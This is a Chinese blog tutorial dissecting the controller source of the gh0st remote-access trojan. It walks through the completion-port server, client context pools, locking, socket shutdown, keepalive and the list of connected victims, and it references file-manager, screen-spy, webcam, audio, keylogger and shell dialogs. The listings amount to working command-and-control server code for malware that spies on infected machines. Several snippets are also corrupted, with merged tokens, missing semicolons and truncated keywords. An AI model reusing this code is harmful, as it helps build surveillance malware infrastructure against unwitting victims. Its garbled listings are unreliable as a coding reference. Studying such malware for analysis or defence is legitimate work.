    首先,在CIOCPServer::ThreadPoolFun这个服务线程中,有这么一块代码

    [cpp]view plaincopyprint?

     

    145   for (BOOL bStayInPool = TRUE; bStayInPool&& pThis->m_bTimeToKill == false;)  

    146  

    147       pOverlapPlus    = NULL; 

    148       lpClientContext = NULL; 

    149       bError         = false

    150       bEnterRead      = false

    151       // Thread is Blockwaiting for IO completion 

    152       InterlockedDecrement(&pThis->m_nBusyThreads); 

    153     

    154     

    155       // Get a completed IOrequest. 

    156       BOOLbIORet = GetQueuedCompletionStatus( 

    157                 hCompletionPort,             // HANDLE          CompletionPort 

    158                 &dwIoSize,                   //LPDWORD          lpNumberOfBytes 

    159                 (LPDWORD) &lpClientContext,   // PULONG_PTR      lpCompletionKey 

    160                 &lpOverlapped,               // LPOVERLAPPED*    lpOverlapped 

    161              INFINITE);                  //DWORD           dwMilliseconds 

    162     

    163       DWORDdwIOError = GetLastError(); 

    164       //找回 PostQueuedCompletionStatus 中发过来的 pOverlapPlus 

    165       pOverlapPlus = CONTAINING_RECORD(lpOverlapped,OVERLAPPEDPLUS, m_ol); 

     

     

       这个for循环的结束条件有两个,一个是m_bTimeToKill被置为True,再一个是bStayInPool被置为False.第一种条件在前面我们已经讨论过了,现在讨论第二种情况,在什么情况下bStayInPool会被置为False?

       本人所述以下内容因为跟作者的源码有出入,不敢苟同原作者,但是有没有好的证据来证明我的正确性。因此,我对以下红字部分的内容不负责,有错误之处请谅解…………

     

    // Thread timed out - IDLE?

                if (!bIORet && dwIOError == WAIT_TIMEOUT)

                {

                    if (lpClientContext == NULL)

                    {

                        if (pThis->m_cpu.GetUsage() < pThis->m_nCPULoThreshold)

                        {

                            // Thread has no outstanding IO - Server hasn't much to do so die

                            if (pThis->m_nCurrentThreads > pThis->m_nThreadPoolMin)

                                bStayInPoolFALSE;

                        }

     

                        bError = true;

                    }

                }

        以上代码就是我认为作者逻辑极度混乱的地方。分析这块代码的上下文我们可以发现,这段代码的用意就是对GetQueuedCompletionStatus这个函数的返回值以及参数输出值进行一个分类判断,并加以不同的处理逻辑。

       1:首先,是如果传输数据的过程中出现了错误,那应该如何处理

       2:数据正常传输的情况下,根据CPU的使用率进行一个自适应线程调整

        3:数据正常传输的情况下,由完成端口的派遣例程处理相关的请求操作

        问题,就出现在这第二种情况,我猜测原作者是将自适应调整线程中的结束线程与我们上面讨论的为关闭掉完成端口而向工作线程发送结束指令的这两个操作合二为一处理。但是依愚兄之见,这两个操作还真不能够放到一起去,应该分开处理。按照我的逻辑,应该再添加一种情况的处理:

    4:数据正常传输的情况下,发现是结束自身的指令,则将bStayInPool设置为false。从而致使所有的等待在完成端口上的工作线程结束自身,程序无错化退出。

    还有一点需要点出来,if (!bIORet && dwIOError ==WAIT_TIMEOUT)这个条件永远不会被满足,因为

      BOOL bIORet =GetQueuedCompletionStatus(

                  hCompletionPort,

                  &dwIoSize,

                  (LPDWORD) &lpClientContext,

                  &lpOverlapped, INFINITE);

    所以这个地方必须得去修改,而且“自适应调整线程中的结束线程”与“为关闭掉完成端口而向工作线程发送结束指令”这两个操作的最终操作结果是不同的,一种是将工作线程维持在一个最低不能低于核心数*2的这么个线程数,而另一种是将所有的线程全部结束掉。因此,这个地方需要修改

    至于这第四种的实现方法,我会在后续的编码过程中实现、测试,这里这种想法对不对对等有了具体的测试数据再说。

    至此,我们对这个循环到这里就结束了。我们继续在CIOCPServer::CloseCompletionPort这个函数里往下看。

     

        while (m_nWorkerCnt)

        {

            PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD) NULL, NULL);

            Sleep(100);

        }

     

        // Close the CompletionPort and stop any more requests

        CloseHandle(m_hCompletionPort);

     

        ClientContext* pContext = NULL;

     

        do

        {

            POSITION pos = m_listContexts.GetHeadPosition();

            if (pos)

            {

                pContext = m_listContexts.GetNext(pos);        

                RemoveStaleClient(pContext, FALSE);

            }

        }

        while (!m_listContexts.IsEmpty());

     

        m_listContexts.RemoveAll();

     

    关闭掉这个完成端口句柄,这个就没啥说的了。

     

    接下来,看看CIOCPServer::CloseCompletionPort函数中对它自身维护的这个ContextList的一个处理的过程。

    1m_listContexts被实例化的地方

     ContextList m_listContexts; //记录当前CIOCPServer保存的ClientContext的一个链表

     ContextList m_listFreePool; //记录当前释放的ClientContext的一个链表

    这两个变量非常有意思,看看ContextList的一个原型

    typedef CList<ClientContext*,ClientContext* > ContextList;

    这一行代码包含的信息量蛮大的,首先我们需要明白几个概念,以及这几个概念之间的联系:模板类、类、对象。不明白的童鞋翻翻C++的基础教材,都有讲。我用一句话概括三者之间的关系:类是类模板的实例化、对象是类的实例化。

    上面这句代码的含义,就是将类模板给实例化成一个ContextList类。

    然后在CIOCPServer的构造函数中将这个类实例化成两个对象:m_ListContexts以及m_ListFreePool

    2:在CIOCPServer::OnAccept函数中,对该变量有以下的操作

      m_listContexts.AddTail(pContext);

    由此,我们可以得出这样一个结论,m_listContexts就是保存了当前与主控端保持连接的被控端实例,这个链表中的一个元素就代表了一个被控端;而m_listFreePool则保存了当前被释放掉的ClientContext结构,以便当有新的连接到来时,快速的分配此结构用于保存客户端数据结构,由下图可以看出此用途

    回收此结构

     

    void CIOCPServer::MoveToFreePool(ClientContext *pContext)

    {

        CLock cs(m_cs, "MoveToFreePool");

        // Free context structures

        POSITION pos = m_listContexts.Find(pContext);

        if (pos)

        {

            pContext->m_CompressionBuffer.ClearBuffer();

            pContext->m_WriteBuffer.ClearBuffer();

            pContext->m_DeCompressionBuffer.ClearBuffer();

            pContext->m_ResendWriteBuffer.ClearBuffer();

            m_listFreePool.AddTail(pContext);

            m_listContexts.RemoveAt(pos);

        }

    }

     

    分配此结构

     

    ClientContext CIOCPServer::AllocateContext()

    {

        ClientContext* pContext = NULL;

     

        CLock cs(CIOCPServer::m_cs, "AllocateContext");

     

        if (!m_listFreePool.IsEmpty())

        {

            pContext = m_listFreePool.RemoveHead();

        }

        else

        {

            pContext = new ClientContext;

        }

     

        ASSERT(pContext);

       

        if (pContext != NULL)

        {

     

            ZeroMemory(pContext, sizeof(ClientContext));

            pContext->m_bIsMainSocket = false;

            memset(pContext->m_Dialog, 0, sizeof(pContext->m_Dialog));

        }

        return pContext;

    }

     

    讲到这里,我们必须要简略的提一个重要的数据结构,这个数据结构描述了受控端的各种信息。

     

    struct ClientContext

    {

        SOCKET              m_Socket;

        // Store buffers

        CBuffer             m_WriteBuffer;

        CBuffer             m_CompressionBuffer;    // 接收到的压缩的数据

        CBuffer             m_DeCompressionBuffer// 解压后的数据

        CBuffer             m_ResendWriteBuffer;    // 上次发送的数据包,接收失败时重发时用

     

        int                 m_Dialog[2]; // 放对话框列表用,第一个int是类型,第二个是CDialog的地址

        int                 m_nTransferProgress;

        // Input Elements for Winsock

        WSABUF              m_wsaInBuffer;

        BYTE                m_byInBuffer[8192];

     

        // Output elements for Winsock

        WSABUF              m_wsaOutBuffer;

        HANDLE              m_hWriteComplete;

     

        // Message counts... purely for example purposes

        LONG                m_nMsgIn;

        LONG                m_nMsgOut

     

        BOOL                m_bIsMainSocket; // 是不是主socket

     

        ClientContext*      m_pWriteContext;

        ClientContext*      m_pReadContext;

    };

     

     

    关于此数据结构各个字段的详细含义,我们会在后续的newClientContext的操作中进行讲解,在这里我们先对此数据结构有一个感性的认识,对各个字段有个大体的印象,因为在接下来我们分析CIOCPServer::RemoveStaleClient函数的时候会涉及到其中的几个字段。接下来我们来看这个释放此结构所占的空间的循环操作:

     ClientContext* pContext = NULL;

     

    do

    {

      POSITION pos = m_listContexts.GetHeadPosition();

       if(pos)

       {

        pContext = m_listContexts.GetNext(pos);  

        RemoveStaleClient(pContext, FALSE);

       }

    }while(!m_listContexts.IsEmpty());

     m_listContexts.RemoveAll();

     

    本段代码的含义就是对m_listContexts链表中的每一个ClientContext进行一个释放,直到所有的ClientContext都被释放完毕,最后来一个RemoveAll进行全部的删除。如果想对这个操作有一个更加全面深刻的认识,建议大家好好看看C++里面提供给大家的这个CList类模板的一些操作,接下来,我们看看CIOCPServer::RemoveStaleClient这个函数,这个函数的大体功能就是对PContext变量指示的数据结构进行一个释放操作,这其中会涉及到一些界面上的操作,因为我们这里是将gh0st的通信协议,关于界面的在这里我们就简略带过。

     

    void CIOCPServer::RemoveStaleClient(ClientContext* pContext, BOOL bGraceful)

    {

        CLock cs(m_cs, "RemoveStaleClient");

     

        TRACE("CIOCPServer::RemoveStaleClient\n");

     

        LINGER lingerStruct;

     

     

        //

        // If we're supposed to abort the connection, set the linger value

        // on the socket to 0.

        //

     

        if ( !bGraceful )

        {

     

            lingerStruct.l_onoff = 1;

            lingerStruct.l_linger = 0;

            setsockopt( pContext->m_Socket, SOL_SOCKET, SO_LINGER,

                       (char *)&lingerStruct, sizeof(lingerStruct) );

        }

     

     

     

        //

        // Free context structures

        if (m_listContexts.Find(pContext))

        {

     

            //

            // Now close the socket handle. This will do an abortive or graceful close, as requested. 

            CancelIo((HANDLE) pContext->m_Socket);

     

            closesocket( pContext->m_Socket );

            pContext->m_Socket = INVALID_SOCKET;

     

            while (!HasOverlappedIoCompleted((LPOVERLAPPED)pContext))

                   Sleep(0);

     

            m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_CLIENT_DISCONNECT);

     

            MoveToFreePool(pContext);

     

        }

    }

     

     

     

     

    首先,我们需要对这款远控的一个核心技术进行回顾,此款远控的主控端是可以根据核心数来有针对性的创建为完成端口服务的工作线程的,并且会根据当前cpu的一个工作状态来调整这些工作线程的数量,再加上监听线程,再加上一个主线程,我们可以得出这样的结论,在这个远控主控端进程中是允许着很多个线程的,这就牵扯到了一个让人容易蛋疼的问题,多线程编程的时候要注意对全局变量访问的时候的互斥保障,以及当多个线程都有可能执行某一段代码的时候,还要对这段代码添加一个互斥访问的锁(本程序对这种情况的解决问题就是利用临界区)。

    说到多线程编程,我又想到当年我写一款软件的时候的情形,当时每弹出一个对话框的时候,都会在这个对话框的OnInitDialog函数中开启一个线程,在这个线程中接收服务端发送过来的数据,但是由于当时在对话框退出的时候没能够及时的结束掉开启的这个线程,以至于再次开启对话框接收数据的时候,接收到得数据总是不可控的,当时就是找不出问题的所在,现在看来错误是很明显的了,就是因为对多线程编程不熟悉~

      罗嗦了那么多就是想引出这个Clock结构体,正是因为这个结构体的存在,才保证了多线程运行的时候对关键代码的一个序列化执行,从而保证了执行结果是可信的。

     

    class CLock

    {

    public:

        CLock(CRITICAL_SECTION& cs, const CString& strFunc)

        {

            m_strFunc = strFunc;

            m_pcs = &cs;

            Lock();

        }

        ~CLock()

        {

            Unlock();

     

        }

       

        void Unlock()

        {

            LeaveCriticalSection(m_pcs);

            TRACE(_T("LC %d %s\n") , GetCurrentThreadId() , m_strFunc);

        }

     

        void Lock()

        {

            TRACE(_T("EC %d %s\n") , GetCurrentThreadId(), m_strFunc);

            EnterCriticalSection(m_pcs);

        }

     

     

    protected:

        CRITICAL_SECTION*   m_pcs;

        CString             m_strFunc;

    };

     

     

    注意在这个结构体的构造函数中调用了Clock::Lock函数,这个函数里有一个进入临界区的函数调用,因此在本例的应用中,在函数的开始处就调用了

    CLockcs(CIOCPServer::m_cs, "AllocateContext");

    当其它的线程想要执行这个函数的时候,由于有其他的线程还在临界区里没有出来,而得不到执行的机会,那么什么时候当前占用此段代码区段的线程会释放这段代码的独占权呢?当然是当这个函数执行完毕的时候,Clock cs 创建的这个对象的生命周期也就结束了,当然也就会调用这个对象的析构函数:~Clock

     

    接下来继续看暴力结束在这个已经建立连接的TCP上的socket。以下的代码:

    if ( !bGraceful)

    {

      lingerStruct.l_onoff = 1;

      lingerStruct.l_linger = 0;

      setsockopt( pContext->m_Socket, SOL_SOCKET, SO_LINGER,

       (char*)&lingerStruct, sizeof(lingerStruct) );

    }

    设置 l_onoff为非0l_linger0,则套接口关闭时TCP夭折连接,TCP将丢弃保留在套接口发送缓冲区中的任何数据并发送一个RST给对方,而不是通常的四分组终止序列,这避免了TIME_WAIT状态。这样直接丢弃了所有在这个套接字上的所有的数据,不论是待发送的还是待接收的,都被丢弃。

     

    解决掉了套接字上残留的数据之后,接下来开始进行撤销在此套接字上悬而未决的操作,接着关闭掉这个套接字句柄,并且将这个套接字句柄的值设置为:INVALID_SOCKET

    接下来的这个while循环比较有意思:

    while(!HasOverlappedIoCompleted((LPOVERLAPPED)pContext))

        Sleep(0);

    这里是直接将pContext这个指针类型给强制转换成了LPOVERLAPPED这个指针类型,并且当做HasOverlappedIoCompleted这个宏的参数。这个地方这样的强制类型转换为什么会成功,并且能正常的执行呢?

    ClientContext的数据结构定义

     

     

    struct ClientContext

    {

        SOCKET              m_Socket;

        // Store buffers

        CBuffer             m_WriteBuffer;

        CBuffer             m_CompressionBuffer;    // 接收到的压缩的数据

        CBuffer             m_DeCompressionBuffer// 解压后的数据

        CBuffer             m_ResendWriteBuffer;    // 上次发送的数据包,接收失败时重发时用

     

    再去看看这个OVERLAPPED数据结构的定义 

    typedef struct _OVERLAPPED {

        ULONG_PTR Internal;

        ULONG_PTR InternalHigh;

        union {

            struct {

                DWORD Offset;

                DWORD OffsetHigh;

            } DUMMYSTRUCTNAME;

            PVOID Pointer;

        } DUMMYUNIONNAME;

     

        HANDLE  hEvent;

    } OVERLAPPED, *LPOVERLAPPED;

    再来看看SOCKET的定义:

    typedefUINT_PTR        SOCKET;

     

    接下来我们再看看HasOverlappedIoCompleted这个宏的定义:

    #defineHasOverlappedIoCompleted(lpOverlapped)\

    ((lpOverlapped)->Internal!= STATUS_PENDING)

    上面的是一个宏,用于应用程序快速查看一个I/O请求是否完成。完成返回TRUE否则返回FALSE

    怎样,看出门道来了吧?

    看不出门道的,说明你们对指针这一块的理解实在是不到位。就算我给你解释,你们也不会听得懂,因为这涉及到指针的特性,用我自己的话,一个无类型的指针LPVOID可以指一个字节的长度,也可以指整个内存的长度。因此指针嘛,总是可以进行类型间的转换的。

     

    LPContext转换成LPVOID之后,当做参数传输到HasOverlappedIoCompleted这个宏里,在这里我们还应该注意到一点:pContext->m_Socket = INVALID_SOCKET;

    结合以上的分析,我们可以知道这段代码的操作原理:等待所有在这个Socket上的I/O请求完成,而这种完成时由于我们取消了这些请求才发生的,然后继续执行下面的代码。

    m_pNotifyProc((LPVOID)m_pFrame, pContext, NC_CLIENT_DISCONNECT);

    其实这个函数的真身是在这里:

     

    void CALLBACK CMainFrame::NotifyProc(LPVOID lpParam, ClientContext *pContext, UINT nCode)

        {

            try

            {

                CMainFrame* pFrame = (CMainFrame*) lpParam;

                CString str;

                // g_pConnectView 进行初始化

                g_pConnectView = (CGh0stView *)((CGh0stApp *)AfxGetApp())->m_pConnectView;

     

                // g_pConnectView还没创建,这情况不会发生

                if (((CGh0stApp *)AfxGetApp())->m_pConnectView == NULL)

                    return;

     

                g_pConnectView->m_iocpServer = m_iocpServer;

     

                str.Format("S: %.2f kb/s R: %.2f kb/s", (float)m_iocpServer->m_nSendKbps / 1024, (float)m_iocpServer->m_nRecvKbps / 1024);

                g_pFrame->m_wndStatusBar.SetPaneText(1, str);

     

                switch (nCode)

                {

                case NC_CLIENT_CONNECT:

                    break;

                case NC_CLIENT_DISCONNECT:

                    g_pConnectView->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext);

                    break;

                case NC_TRANSMIT:

                    break;

                case NC_RECEIVE:

                    ProcessReceive(pContext);

                    break;

                case NC_RECEIVE_COMPLETE:

                    ProcessReceiveComplete(pContext);

                    break;

                }

            }catch(...){}

        }

    为使我们的讲解清晰性,在这里我们不会对这个函数功能进行一个系统的讲解,我们在这里只取我们需要的地方进行讲解,即caseNC_CLIENT_DISCONNECT:

     

    在这里是清除所有受控端的连接,这里包含两层意思:第一呢,是结束掉先前建立起来的socket连接,这包括在该socket上的一些悬而未决的处理请求。第二呢,就是在界面上也要去除掉在ListView控件上的一系列的上线记录。接下来要讨论的东西其实已经涉及到了界面编程的知识,我们在这里稍微一提,不作重点介绍……

    PostMessage函数向框架发送一条WM_REMOVEFROMLIST消息,接下来看看处理这条消息的消息响应函数的定义。

     

        LRESULT CGh0stView::OnRemoveFromList(WPARAM wParam, LPARAM lParam)

        {

            ClientContext   *pContext = (ClientContext *)lParam;

            if (pContext == NULL)

                return -1;

            // 删除链表过程中可能会删除Context

            try

            {

                int nCnt = m_pListCtrl->GetItemCount();

                for (int i=0; i < nCnt; i++)

                {

                    if (pContext == (ClientContext *)m_pListCtrl->GetItemData(i))

                    {

                        m_pListCtrl->DeleteItem(i);

                        break;

                    }      

                }

     

                // 关闭相关窗口

                switch (pContext->m_Dialog[0])

                {

                case FILEMANAGER_DLG:

                case SCREENSPY_DLG:

                case WEBCAM_DLG:

                case AUDIO_DLG:

                case KEYBOARD_DLG:

                case SYSTEM_DLG:

                case SHELL_DLG:

                    ((CDialog*)pContext->m_Dialog[1])->DestroyWindow();

                    break;

                default:

                    break;

                }

            }catch(...){}

     

            // 更新当前连接总数

            g_pFrame->ShowConnectionsNumber();

            return 0;

        }

     

    以上这一段代码就是遍历ListView控件中各个记录存储的数据,从中找出要从控件中移走的记录的过程,这里涉及到界面编程中ListView控件的使用方法。移走的这个操作也非常简单,就是调用了ListView的一个成员函数:DeleteItem

     

     

    这里还要摧毁在某一次的会话过程中创建的一些Dialog。在前面我们已经对ClientContext这个结构有了一个基本的了解。以及知道了各个字段的一个大概含义。接下来我们需要重点看这两个字段:m_Dialog[0]m_Dialog[1]。由于使用这两个变量的地方很多都是重复的,所以,在这里我们取一个典型的操作来阐述。

    1:在ClientContext中这两个变量被定义 int    m_Dialog[2];

    2:在CGh0stView::OnOpenShellDialog中被赋值

    LRESULTCGh0stView::OnOpenShellDialog(WPARAM wParam, LPARAM lParam)

    {

          ClientContext  *pContext = (ClientContext *)lParam;

          CShellDlg       *dlg = new CShellDlg(this,m_iocpServer, pContext);

         

          // 设置父窗口为卓面

          dlg->Create(IDD_SHELL, GetDesktopWindow());

          dlg->ShowWindow(SW_SHOW);

         

          pContext->m_Dialog[0] = SHELL_DLG;

          pContext->m_Dialog[1] = (int)dlg;

          return 0;

    }

    3:在很多个地方会被使用,这里只取一个典型的地方CMainFrame::ProcessReceiveComplete

    当接收完被控端传过来的数据的时候,会调用此函数,数据具体由谁来处理?

    switch(pContext->m_Dialog[0])

    {

    Case SHELL_DLG:

    ((CShellDlg*)dlg)->OnReceiveComplete();

    }

    还是根据这个值让不同的窗口来处理。

    4:就是上面已经出现的这一调用:((CDialog*)pContext->m_Dialog[1])->DestroyWindow();结束这些窗口。

     

    接下来是调用这么一个函数:void CMainFrame::ShowConnectionsNumber()。这个函数是用来更新连接数量的。

     

    void CMainFrame::ShowConnectionsNumber()

    {

        CString str;

        str.Format("连接: %d", g_pConnectView->GetListCtrl().GetItemCount());

        m_wndStatusBar.SetPaneText(3, str);

    }

    至此,这个OnRemoveFromList这个函数已经结束了,我们按照我们来的路回滚回去。我们到达这么一个地方:CIOCPServer::RemoveStaleClient这个函数中的最末端。看看这个函数原型,其实在先前我们已经见识了这个函数的原型,在这里我们重新细致分析一下。

     voidCIOCPServer::MoveToFreePool(ClientContext *pContext)

    {

      CLockcs(m_cs, "MoveToFreePool");

      // Freecontext structures

      POSITIONpos = m_listContexts.Find(pContext);

      if (pos)

      {

      pContext->m_CompressionBuffer.ClearBuffer();

      pContext->m_WriteBuffer.ClearBuffer();

      pContext->m_DeCompressionBuffer.ClearBuffer();

      pContext->m_ResendWriteBuffer.ClearBuffer();

      m_listFreePool.AddTail(pContext);

      m_listContexts.RemoveAt(pos);

      }

    }

    这个Clock cs的功能我们已经分析过了,就是保证此段代码必须是独享方式访问。接下来就是找到这个pContextm_listContexts这个结构中的位置,并且将ClientContext里面的所有的缓冲区都清掉,然后从m_listContexts移动到m_listFreePool中。到这个地方,我们对函数CIOCPServer::RemoveStaleClient这个函数的分析也就到这里了。继续回滚……

    CIOCPServer:: CloseCompletionPort这个函数也就分析完毕了。继续回滚到这个函数——

    voidCIOCPServer::Shutdown(),还剩下这么一点东西:

     

          DeleteCriticalSection(&m_cs);

    while(!m_listFreePool.IsEmpty())

                delete m_listFreePool.RemoveTail();

     

    删除互斥量+m_listFreePool这个链表清空。至此CIOCPServer::Shutdown()这个函数也已经分析完

     

        m_iocpServer = new CIOCPServer;

     

            // 开启IPCP服务器

            if (m_iocpServer->Initialize(NotifyProc, this, 100000, nPort))

            {

                char hostname[256];

                gethostname(hostname, sizeof(hostname));

                HOSTENT *host = gethostbyname(hostname);

                if (host != NULL)

                {

                    for ( int i=0; ; i++ )

                    {

                        str += inet_ntoa(*(IN_ADDR*)host->h_addr_list[i]);

                        if ( host->h_addr_list[i] + host->h_length >= host->h_name )

                            break;

                        str += "/";

                    }

                }

                m_wndStatusBar.SetPaneText(0, str);

                str.Format("端口: %d", nPort);

                m_wndStatusBar.SetPaneText(2, str);

            }

            else

            {

                str.Format("端口%d绑定失败", nPort);

                m_wndStatusBar.SetPaneText(0, str);

                m_wndStatusBar.SetPaneText(2, "端口: 0");

            }

     

            m_wndStatusBar.SetPaneText(3, "连接: 0");

    其实接下来,我们的工作只有两点,一个是分析CIOCPServer这个类的构造函数,再一个是分析CIOCPServer::Initialize这个函数。

     

    走起,先看这个类的构造函数:CIOCPServer::CIOCPServer()

     

    CIOCPServer::CIOCPServer()

    {

        TRACE("CIOCPServer=%p\n",this);

     

        //

        WSADATA wsaData;

        WSAStartup(MAKEWORD(2,2), &wsaData);

     

        InitializeCriticalSection(&m_cs);

     

        m_hThread       = NULL;

        m_hKillEvent    = CreateEvent(NULL, TRUE, FALSE, NULL);

        m_socListen     = NULL;

     

        m_bTimeToKill       = false;

        m_bDisconnectAll    = false;

     

        m_hEvent        = NULL;

        m_hCompletionPort= NULL;

     

        m_bInit = false;

        m_nCurrentThreads   = 0;

        m_nBusyThreads      = 0;

     

        m_nSendKbps = 0;

        m_nRecvKbps = 0;

     

        m_nMaxConnections = 10000;

        m_nKeepLiveTime = 1000 * 60 * 3; // 三分钟探测一次

        // Packet Flag;

        BYTE bPacketFlag[] = {'F', 'U', 'L', 'L', 'R','A','t'};

        memcpy(m_bPacketFlag, bPacketFlag, sizeof(bPacketFlag));

    }

    初始化套接字,创建互斥量m_cs,创建一个用于结束监听线程的事件:m_hKillEvent,初始化了一个用于在传输中当做标记的字符串。接下来开始明确各个在这个函数中初始化的变量的含义。

    m_hThread

    m_hThread =

                        (HANDLE)_beginthreadex(NULL,                     // Security

                                                                   0,                              //Stack size - use default

                                                                   ListenThreadProc,  // Thread fn entry point

                                                                   (void*) this,    

                                                                   0,                              // Init flag

                                                                   &dwThreadId);    // Thread address

    是作为监听线程的句柄而存在的。

    m_hKillEvent

    if(WaitForSingleObject(pThis->m_hKillEvent, 100) == WAIT_OBJECT_0)

        break;

    是作为何时结束监听线程的一个哨兵存在的。

    m_socListen

    m_socListen=WSASocket(AF_INET,SOCK_STREAM,0,NULL,0,xxx)

    是作为监听套接字来使用的。

    m_bTimeToKill

    for (BOOLbStayInPool = TRUE; bStayInPool && pThis->m_bTimeToKill == false; )

    作为何时结束为完成端口服务的工作线程的哨兵来使用的。

    m_bDisconnectAll

    void CIOCPServer::DisconnectAll()

    {

          m_bDisconnectAll = true;

    是作为关闭掉所有的连接的一个哨兵来使用的。

    m_hEvent

    int nRet =WSAEventSelect(m_socListen,

                                         m_hEvent,

                                         FD_ACCEPT);

    给监听套接字的事件对象,发生FD_ACCEPT的时候该套接字被置信。

    m_hCompletionPort

    m_hCompletionPort= CreateIoCompletionPort( (HANDLE)s, NULL, 0, 0 );

    这个肯定是用来记录完成端口的了。

    m_bInit

    InitializeIOCP();

    m_bInit = true;

    用来记录完成端口是否初始化完毕,这包括完成端口的创建、为完成端口工作的线程的初始化。

    m_nCurrentThreads

    m_nBusyThreads

    InterlockedIncrement(&pThis->m_nCurrentThreads);

    InterlockedIncrement(&pThis->m_nBusyThreads);

    这两个变量,一个用来记录当前进程中为完成端口服务的所有的线程,一个用于记录为完成端口服务的线程中当前处于工作状态中的线程数量。为什么有的线程是不处于工作状态中呢,看下面这段代码:

     

    for (BOOL bStayInPool = TRUE; bStayInPool && pThis->m_bTimeToKill == false; )

        {

            pOverlapPlus    = NULL;

            lpClientContext = NULL;

            bError          = false;

            bEnterRead      = false;

            // Thread is Block waiting for IO completion

            InterlockedDecrement(&pThis->m_nBusyThreads);

     

     

            // Get a completed IO request.

            BOOL bIORet = GetQueuedCompletionStatus(

                  hCompletionPort,

                  &dwIoSize,

                  (LPDWORD) &lpClientContext,

                  &lpOverlapped, INFINITE);

     

            DWORD dwIOError = GetLastError();

            pOverlapPlus = CONTAINING_RECORD(lpOverlapped, OVERLAPPEDPLUS, m_ol);

     

     

            int nBusyThreads = InterlockedIncrement(&pThis->m_nBusyThreads);

    所有为完成端口服务的工作线程,他们都会有这么一个瓶颈,会等待在这个完成端口上,一直到这个完成端口有了读、写的请求,才会被唤醒。因此,在所有的工作线程中会有一大部分的线程是处于挂起状态的。

    m_nSendKbps

    m_nRecvKbps

    str.Format("S:%.2f kb/s R: %.2f kb/s", (float)m_iocpServer->m_nSendKbps / 1024,(float)m_iocpServer->m_nRecvKbps / 1024);

    是记录实时的发送速度以及接收速度的。

    m_nMaxConnections

    if(m_iocpServer->m_nMaxConnections <=g_pConnectView->GetListCtrl().GetItemCount())

    {

          closesocket(pContext->m_Socket);

    }

    记录最大的上线数量。当目前ListView中的上线数量大于m_nMaxConnections的时候,就不再受理连接请求了。

    m_nKeepLiveTime

    // 设置超时详细信息

    tcp_keepalive klive;

    klive.onoff = 1;// 启用保活

    klive.keepalivetime= m_nKeepLiveTime;

    klive.keepaliveinterval= 1000 * 10; // 重试间隔为10 Resend if No-Reply

    WSAIoctl

    (

    pContext->m_Socket,

          SIO_KEEPALIVE_VALS,

          &klive,

          sizeof(tcp_keepalive),

          NULL,

          0,

          (unsigned long *)&chOpt,

          0,

          NULL

    );

    为什么这个地方要挑出来详细讲解呢?昨晚睡觉之前的时候,我还在考虑一个问题,我写的远控都是自己每隔一段时间发送探测报文,如果受控端还保活则不会在ListView列表中删除之,相反,如果在发送探测报文的时候出现了我们无法预料的返回值,就默认为出错,即返回值是:SOCKET_ERROR并且WSAGetLastError()==WSAEWOULDBLOCK

    gh0st里是如何实现这个功能的呢,就是通过上面的这种保活机制,关于这种保活机制的解释如下:

    针对完成端口的socket,设置了SIO_KEEPALIVE_VALS后,激活包由TCP STACK来负责。

    当网络连接断开后,TCP STACK并不主动告诉上层的应用程序,但是当下一次RECV或者SEND操作进行后,马上就会返回错误告诉上层这个连接已经断开了,在这里再对掉线的受控端进行清除出ListView列表控件处理.如果检测到断开的时候,在这个连接上有正在PENDINGIO操作,则马上会失败返回。

    上面这句代码的含义是:每隔m_nKeepLiveTime的时间,开始向受控端发送激活包,重复发送五次,每次发送的时间间隔是10秒钟,如果在十秒钟之内都没能得到回复,则判定受控端已经掉线。对掉线后的处理,在这里我必须要说说:由于TCP STACK并不主动告诉上层的应用程序,只有当下一次发送数据,或者接收数据的时候才会被发现,看下面的解释:

     

    oid CIOCPServer::PostRecv(ClientContext* pContext)

    {

        // issue a read request

        OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IORead);

        ULONG           ulFlags = MSG_PARTIAL;

        DWORD           dwNumberOfBytesRecvd;

        UINT nRetVal = WSARecv(pContext->m_Socket,

            &pContext->m_wsaInBuffer,

            1,

            &dwNumberOfBytesRecvd,

            &ulFlags,

            &pOverlap->m_ol,

            NULL);

       

        if ( nRetVal == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING)

        {

            RemoveStaleClient(pContext, FALSE);

        }

    }

    接收数据的时候,可能已经掉线

    发送数据的时候,可能已经掉线。这两个地方就是对不保活的受控端进行一个清除的处理过程。在源码中的说明文件中,说是启用了“心跳包机制防止意外掉线..”其实源码中的这个机制并没有启用:

     

    case TOKEN_AUTH: // 要求验证

                m_iocpServer->Send(pContext, (PBYTE)m_PassWord.GetBuffer(0), m_PassWord.GetLength() + 1);

                break;

            case TOKEN_HEARTBEAT: // 回复心跳包

                {

                    BYTE    bToken = COMMAND_REPLAY_HEARTBEAT;

                    m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken));

                }

                break;

    这两个功能都没有启用,其实启用了SIO_KEEPALIVE_VALS,这个功能,回复心跳包这个东西是由TCP栈来处理的,不用劳烦应用层自己去实现保证心跳包机制,所以在这一点,原作者有点多虑了。在后续的被控端上线的时候我们还要做一番阐述。

    bPacketFlag

    传输的数据包中携带的标记字符串。主控端与被控端交互的过程中所发的数据包中含有标记。关于传输的过程中的一些数据包交互,我们在后面的内容中会作为重点去讲解,在这里我们就不再深入。

     

    接下来,我们开始分析让主控端处于监听上线的部分,这个部分执行完之后,主控端如果没有上线主机主动来撩拨它的话,应该就算一个完整的启动过程了

     bool CIOCPServer::Initialize(NOTIFYPROC pNotifyProc, CMainFrame* pFrame, int nMaxConnections, int nPort)

    {

        m_pNotifyProc   = pNotifyProc;

        m_pFrame        =  pFrame;

        m_nMaxConnections = nMaxConnections;

        m_socListen = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED);

     

     

        if (m_socListen == INVALID_SOCKET)

        {

            TRACE(_T("Could not create listen socket %ld\n"),WSAGetLastError());

            return false;

        }

     

        // Event for handling Network IO

        m_hEvent = WSACreateEvent();

     

        if (m_hEvent == WSA_INVALID_EVENT)

        {

            CString str ;

            str.Format("WSACreateEvent() error %ld\n",WSAGetLastError());

            TRACE(str);

            closesocket(m_socListen);

            return false;

        }

     

        // The listener is ONLY interested in FD_ACCEPT

        // That is when a client connects to or IP/Port

        // Request async notification

        int nRet = WSAEventSelect(m_socListen,

                              m_hEvent,

                              FD_ACCEPT);

     

